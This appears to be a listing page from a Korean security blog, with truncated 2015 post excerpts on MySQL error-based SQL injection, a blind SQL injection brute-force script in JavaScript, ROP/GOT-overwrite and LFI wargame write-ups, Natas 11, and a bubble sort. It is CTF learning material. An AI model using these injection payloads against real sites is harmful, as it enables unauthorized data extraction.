전체 글845 New Error Based SQL Injection in MySQL >= 5.7.5 1. ST_LatFromGeoHash()mysql> select ST_LatFromGeoHash(version());-> ERROR 1411 (HY000): Incorrect geohash value: '5.7.6-community' for function ST_LATFROMGEOHASH 2. ST_LongFromGeoHash()mysql> select ST_LongFromGeoHash(version());-> ERROR 1411 (HY000): Incorrect geohash value: '5.7.6-community' for function ST_LONGFROMGEOHASH 3. ST_PointFromGeoHash()mysql> select ST_PointFromGeoHash(version(),0);.. 2015. 4. 5. [FC3] HELL_FIRE -> EVIL_WIZARD 먼저 소스를 확인해본다. (ROP 기법을 사용할 때 필요한 가젯등의 재료들을 모으는 부분을 중점적으로 설명한다.) 구버전 gcc에는 ppr가젯이 없으므로 ppr 가젯을 임의로 넣어뒀고 down privilege 때문에 setreuid/gid를 넣어뒀다. sfp를 미리 저장해놓고 종료직전 다시 덮어준다. 그리고 RET Sled를 막기위한 부분도 존재한다. 맨 위 주석으로 GOT Overwriting 이라고 명시되어있으므로 해당 기법을 사용해서 문제를 풀어보자. 먼저 시나리오는 다음과같다. strcpy@plt를 이용하여 print@got를 system함수의 주소로 한바이트씩 덮는다. 그리고 print@plt를 호출하여 system함수를 실행시킬것이다. 고로 필요한 가젯등을 종합해보면 1. pop pop re.. 2015. 3. 31. XMLHttpRequest 를 이용한 Blind SQL Injection 소스 [GET]flag = ""function run(i,j){var req = new XMLHttpRequest();req.open('GET', '/pytest/get_ok.php?id=admin\' and ascii(substr(pw,'+i+',1))='+j+'%23&pw=1');req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');req.send();req.onreadystatechange = function() {if(req.readyState == 4 && req.status == 200){if(req.responseText.indexOf("Login failed") == -1){ // 해당문자열이 없을 시flag += S.. 2015. 3. 27. [2015 Codegate] Owlur (Web 200) 부엉이 문제페이지에 접속하면 파일을 업로드할 수 있는 기능과 랜덤으로 올빼미의 사진을 보여주는 기능이 존재한다.먼저 파일을 업로드해보면 jpg파일만 업로드할 수 있다고 나온다.여러방면으로 테스트 해본결과 뒤에 무조건 맨 뒤 확장자가 .jpg 로 끝나야 업로드가 진행된다.업로드를 하면 파일명이 랜덤으로 주어진다.다음으로 올빼미의 사진을 보여주는 기능을 살펴보면 page인자에 LFI가 터진다.아래와 같은 방법으로 index, upload, view 등 페이지의 소스를 가져올 수 있었다.(맨 뒤에 .php가 자동으로 붙는다) /owlur/index.php?page=php://filter/convert.base64-encode/resoure=upload upload.php 를 통해 해당 페이지의 기능을 살펴볼 수 있었.. 2015. 3. 17. 정렬 알고리즘 #버블정렬list = []temp = ""input = ""count = 1for i in range(5): a = int(raw_input("Input Number : ")) print "a["+str(i)+"] = "+str(a) list.append(a)print "Before sort -> "+str(list) for i in range(len(list)-1): for j in range(0, len(list)-1-i): if(list[j]>list[j+1]): temp = list[j] list[j] = list[j+1] list[j+1] = temp print "i = "+str(i)+", j = "+str(j)+str(list) print "After sort -> "+str(list)---.. 2015. 3. 9. Natas 11 입력한 값에 따라 배경의 색이 바뀌는 구조다.소스를 확인해보자. 간단하게 분석해보자면 0. data[showpassword] == yes 면 flag 출력1. savaData($data) 를 통해 $defaultdata 를 json_encode -> xor_encrypt -> base64_encode 후 쿠키설정2. loadData($defaultdata) 를 통해 쿠키에 data가 있는지 확인한 후 data를 base64_decode -> xor_encrypt -> json_decode 후 $tempdata에 저장3. 정규식 확인 후 $mydata['showpassword'] 에 $tempdata['showpassword'] 를 $mydata['bgcolor'] 에 $tempdata['bgcolor'].. 2015. 3. 5. 이전 1 ··· 107 108 109 110 111 112 113 ··· 141 다음